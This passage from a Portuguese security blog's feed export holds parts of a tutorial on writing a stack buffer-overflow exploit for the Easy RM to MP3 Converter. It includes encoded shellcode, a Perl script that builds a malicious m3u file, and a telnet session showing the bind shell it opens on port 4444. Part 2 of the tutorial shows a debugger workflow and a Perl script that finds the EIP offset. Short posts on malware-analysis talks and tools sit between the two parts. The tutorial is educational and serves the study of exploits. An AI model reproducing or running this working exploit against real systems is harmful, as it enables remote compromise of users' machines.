&gt;"\x43\x58\x5a\x4a\x54\x4f\x49\x4f\x4b\x50\x4b\x4f\x58\x55" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4c\x57\x56\x51\x49\x4b\x51\x43\x52\x48\x54\x42\x45\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x54\x51\x51\x4c\x4c\x49\x4d\x36\x43\x5a\x52\x30\x50\x56" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x56\x37\x52\x48\x58\x42\x49\x4b\x56\x57\x43\x57\x4b\x4f" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4e\x35\x56\x33\x51\x47\x45\x38\x4f\x47\x5a\x49\x50\x38" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4b\x4f\x4b\x4f\x49\x45\x50\x53\x56\x33\x56\x37\x43\x58" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x54\x34\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x56\x37" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4c\x57\x43\x58\x43\x45\x52\x4e\x50\x4d\x43\x51\x4b\x4f" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x49\x45\x52\x4a\x45\x50\x52\x4a\x43\x34\x51\x46\x56\x37" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x52\x48\x45\x52\x49\x49\x58\x48\x51\x4f\x4b\x4f\x4e\x35" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4c\x4b\x50\x36\x43\x5a\x47\x30\x43\x58\x43\x30\x54\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x45\x50\x45\x50\x50\x56\x43\x5a\x45\x50\x43\x58\x56\x38" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x49\x34\x51\x43\x4b\x55\x4b\x4f\x58\x55\x4c\x53\x50\x53" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x43\x5a\x45\x50\x56\x36\x50\x53\x51\x47\x45\x38\x43\x32" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x58\x59\x4f\x38\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x49\x53" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x47\x59\x58\x46\x4b\x35\x4c\x36\x54\x35\x5a\x4c\x49\x53" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x41\x41";&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print $FILE $junk.$eip.$shellcode;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print &lt;span style="color:#006080;"&gt;"m3u File Created successfully\n"&lt;/span&gt;;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/pre&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Crie o arquivo m3u, abra-o com a aplicação. Faça o telnet na porta 4444:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;a href="mailto:root@bt:/"&gt;root@bt:/&lt;/a&gt;# telnet 192.168.0.197 4444&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;Trying 192.168.0.197...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;Connected to 192.168.0.197.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;Escape character &lt;span style="color:#5576d1;"&gt;is&lt;/span&gt; &lt;span style="color:#006080;"&gt;'^]'&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;E:\Arquivos de programa\Easy RM to MP3 Converter&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Pronto !&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Agora construa seus próprios exploits.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7981301860971412848?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7981301860971412848/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/escrevendo-um-exploit-para-stack.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7981301860971412848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7981301860971412848'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/escrevendo-um-exploit-para-stack.html' title='Escrevendo um exploit para Stack Overflow - parte 3 (final)'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-jceT-1ZgVMc/Te4uuBJ2YlI/AAAAAAAAAQ8/FIdT8MPOX10/s72-c/img_25.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-566133079031314448</id><published>2011-06-01T23:31:00.003-03:00</published><updated>2011-06-01T23:35:18.956-03:00</updated><title type='text'>Vídeo da palestra Análise de Malwares com Software Livre</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;No dia 14/05/2011 apresentei a palestra Análise de Malwares com Software Livre, no GTS (Grupo de Trabalho de Segurança de Redes) e nos posts anteriores aqui no blog já divulguei os slides e os vídeos apresentados durante a palestra.&lt;br /&gt;&lt;br /&gt;Mas hoje recebi o aviso de que a filmagem da palestra já estava disponível para download.&lt;br /&gt;&lt;br /&gt;Portanto, segue o link para quem tiver interesse, e espero que gostem. O vídeo tem em torno de 1h de duração e 500mb de tamanho.&lt;br /&gt;&lt;br /&gt;&lt;a href="ftp://ftp.registro.br/pub/gter/gter31/videos/mp4/gts-07-Analise_de_Malware.mp4"&gt;ftp://ftp.registro.br/pub/gter/gter31/videos/mp4/gts-07-Analise_de_Malware.mp4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Abraço,&lt;br /&gt;Luiz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-566133079031314448?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/566133079031314448/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/video-da-palestra-sobre-analise.html#comment-form' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/566133079031314448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/566133079031314448'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/video-da-palestra-sobre-analise.html' title='Vídeo da palestra Análise de Malwares com Software Livre'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8334149449671299469</id><published>2011-05-28T14:00:00.002-03:00</published><updated>2011-05-28T14:03:48.379-03:00</updated><title type='text'>Análise de memória com Volatility (vídeo)</title><content type='html'>Como utilizar o Volatility para analisar um dump de memória física e inclusive extrair arquivos maliciosos vinculados à processos em execução. Utilizado em forense computacional e análise de malware.&lt;br /&gt;&lt;br /&gt;Os dois vídeos abaixo são um só, dividido em duas parte. Os mesmo foram apresentados nas palestras "Análise de Malwares com Software Livre" no 17º GTS, em SP, e "Análise Forense Computacional com Software Livre" no 8º CNASI, no DF.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Volatility pt.1&lt;/span&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_Tq3-NbGOs8?hl=pt&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/_Tq3-NbGOs8?hl=pt&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Volatility pt.2&lt;/span&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ip6DXBKC0iA?hl=pt&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/ip6DXBKC0iA?hl=pt&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Espero que gostem :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8334149449671299469?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8334149449671299469/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/05/analise-de-memoria-com-volatility-video.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8334149449671299469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8334149449671299469'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/05/analise-de-memoria-com-volatility-video.html' title='Análise de memória com Volatility (vídeo)'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-2609885067069886395</id><published>2011-05-28T10:55:00.002-03:00</published><updated>2011-05-28T10:59:43.309-03:00</updated><title type='text'>Análise de malware com Pyew</title><content type='html'>Vídeo apresentado na palestra realizado no 17º GTS, com o título de "Análisede Malwares com Software Livre".&lt;br /&gt;&lt;br /&gt;Para baixar o código fonte do pywe, &lt;a href="http://code.google.com/p/pyew/"&gt;clique aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/77iyy-FZuxI?hl=pt&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/77iyy-FZuxI?hl=pt&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;O arquivo analisado com o pyew nesse vídeo, é um .pdf com código javascript malicioso dentro do mesmo, que foi extraído da memória física de uma máquina comprometida utilizando o framework Volatility (em breve postarei o vídeo dessa parte da demonstração).&lt;br /&gt;&lt;br /&gt;Espero que gostem, apesa de ser um procedimento simples :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-2609885067069886395?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/2609885067069886395/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/05/analise-de-malware-com-pyew.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2609885067069886395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2609885067069886395'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/05/analise-de-malware-com-pyew.html' title='Análise de malware com Pyew'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8917614143917431744</id><published>2011-05-26T17:01:00.001-03:00</published><updated>2011-05-26T17:03:10.883-03:00</updated><title type='text'>Slides da palestra Análise de Malware com Software Livre</title><content type='html'>&lt;div style="width:425px" id="__ss_8116332"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/luizvieira/anlise-de-malware-com-software-livre-17-gts-2011" title="Análise de malware com software livre   17 gts - 2011"&gt;Análise de malware com software livre   17 gts - 2011&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse8116332" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=anlisedemalwarecomsoftwarelivre-17gts-2011-110526145240-phpapp01&amp;stripped_title=anlise-de-malware-com-software-livre-17-gts-2011&amp;userName=luizvieira" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse8116332" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=anlisedemalwarecomsoftwarelivre-17gts-2011-110526145240-phpapp01&amp;stripped_title=anlise-de-malware-com-software-livre-17-gts-2011&amp;userName=luizvieira" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira"&gt;luizvieira&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8917614143917431744?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8917614143917431744/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/05/slides-da-palestra-analise-de-malware.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8917614143917431744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8917614143917431744'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/05/slides-da-palestra-analise-de-malware.html' title='Slides da palestra Análise de Malware com Software Livre'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-454290454306506899</id><published>2011-05-16T18:57:00.013-03:00</published><updated>2011-05-16T19:17:22.200-03:00</updated><title type='text'>Escrevendo um exploit para Stack Overflow - parte 2</title><content type='html'>&lt;h3 class="western" style="page-break-before: always"&gt;O debugger&lt;/h3&gt;  &lt;p class="western"&gt;Para ver o estado da pilha (e valor dos registradores tal como o ponteiro de instrução, ponteiro da pilha, e etc), precisamos vincular um debugger à aplicação, assim podemos ver o que acontece no momento em que a aplicação é executada (e especialmente quando termina).&lt;/p&gt; &lt;p class="western"&gt;Há muitos debugger disponíveis para tal propósito. Os dois debugger que uso mais frequentemente são &lt;a href="http://www.ollydbg.de/"&gt;OllyDBG&lt;/a&gt; e &lt;a href="http://www.immunityinc.com/products-immdbg.shtml"&gt;Immunity’s Debugger&lt;/a&gt; .&lt;/p&gt; &lt;p class="western"&gt;Vamos utilizar o Immunity para efeito prático.&lt;/p&gt; &lt;p class="western"&gt;Abra o Immunity debugger, vá ao menu “Options” - “Just in-time debugging” e clique em “Make Immunity Debugger just in-time debugger”.&lt;/p&gt; &lt;p class="western"&gt;E vamos em frente...&lt;/p&gt;  &lt;p class="western"&gt;Inicie o Easy RM to MP3, e então abra o arquivo crash.m3u novamente. A aplicação vai travar de novo. Se surgir algum popup, clique no botão “debug” e o debugger será iniciado:&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://4.bp.blogspot.com/-aJt4Ap0n-r4/TdGek-w9fkI/AAAAAAAAAPg/4oUM02VqqkA/s1600/img_14.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 260px;" src="http://4.bp.blogspot.com/-aJt4Ap0n-r4/TdGek-w9fkI/AAAAAAAAAPg/4oUM02VqqkA/s400/img_14.png" alt="" id="BLOGGER_PHOTO_ID_5607437369213812290" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western"&gt;A tela acima foi cortada para melhor visualização, mas ao executar esse processo, poderá ver que no canto superior esquerdo, que temos a visualização da CPU, que mostra as instruções em assembly e seus opcodes (a janela estará vazia porque o EIP estará apontando para 4141414141, que é um endereço inválido). No canto superior direito, visível na figura acima, podemos ver os registradores.  No canto inferior esquerdo (não visível na figura acima), poderemos ver o dump da memória, nesse caso do endereço 00446000. No canto inferior direito, podemos ver o conteúdo da pilha (o conteúdo da memória no local onde o ESP aponta).&lt;/p&gt; &lt;p class="western"&gt;Frente ao que vemos, parece que parte de nosso arquivo m3u foi lido e armazenado no buffer e causo o estouro do mesmo. Fomos capazes de estourar o buffer e escrever no ponteiro de instrução. Sendo assim, podemos controlar o valor do EIP.&lt;/p&gt; &lt;p class="western"&gt;Como nosso arquivo contém apenas A's, não sabemos exatamente quão grande nosso buffer precisa ser para escrever exatamente no EIP. Em outras palavras, se quisermos ser específicos na sobreescrição do EIP (e assim podermos preenchê-lo e fazê-lo pular para nosso código malicioso), precisamos saber a posição exata em nosso buffer/payload onde sobrescreveremos o endereço de retorno (que se tornará o EIP quando a função retornar). Esta posição é frequentemente referida como o “offset”.&lt;/p&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   H3 { margin-bottom: 0.21cm }   H3.ctl { font-family: "Lohit Hindi" }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;h3 class="western" style="page-break-before: always"&gt;Determinando o tamanho do buffer para escrever exatamente no EIP&lt;/h3&gt; &lt;p class="western"&gt;Sabemos que o EIP está localizado em algum lugar entre 20000 e 30000 bytes contados do início do buffer. Poderíamos sobrescrever todo o espaço de memória entre 20000 e 30000 bytes com o endereço que queremos sobrescrever no EIP. Isso até pode funcionar, mas será muito mais interessante se pudermos encontrar a localização exata para sobrescrevermos. Para determinar o offset exato do EIP em nosso buffer, precisamos de um pouco mais de trabalho.&lt;/p&gt; &lt;p class="western"&gt;Primeiro, vamos tentar apontar a localização alterando um pouco o nosso script perl:&lt;/p&gt;  &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;span style="color:#006080;"&gt;"crash25000.m3u"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"\x41"&lt;/span&gt; x 25000;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk2= &lt;span style="color:#006080;"&gt;"\x42"&lt;/span&gt; x 5000;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print $FILE &lt;span style="color:#006080;"&gt;$junk.$junk2&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"Arquivo m3u criado com sucesso\n"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p class="western"&gt; Vamos cortar algumas coisas. Vamos criar um arquivo contendo 25000 A's e outro com 5000 B's. Se o EIP contiver 41414141(AAAA), o EIP está entre 20000 e 25000, e se o EIP contiver 42424242 (BBBB), o EIP se encontrará entre 25000 e 30000.&lt;/p&gt; &lt;p class="western"&gt;Crie o arquivo e abra o crash25000.m3u no Easy RM to 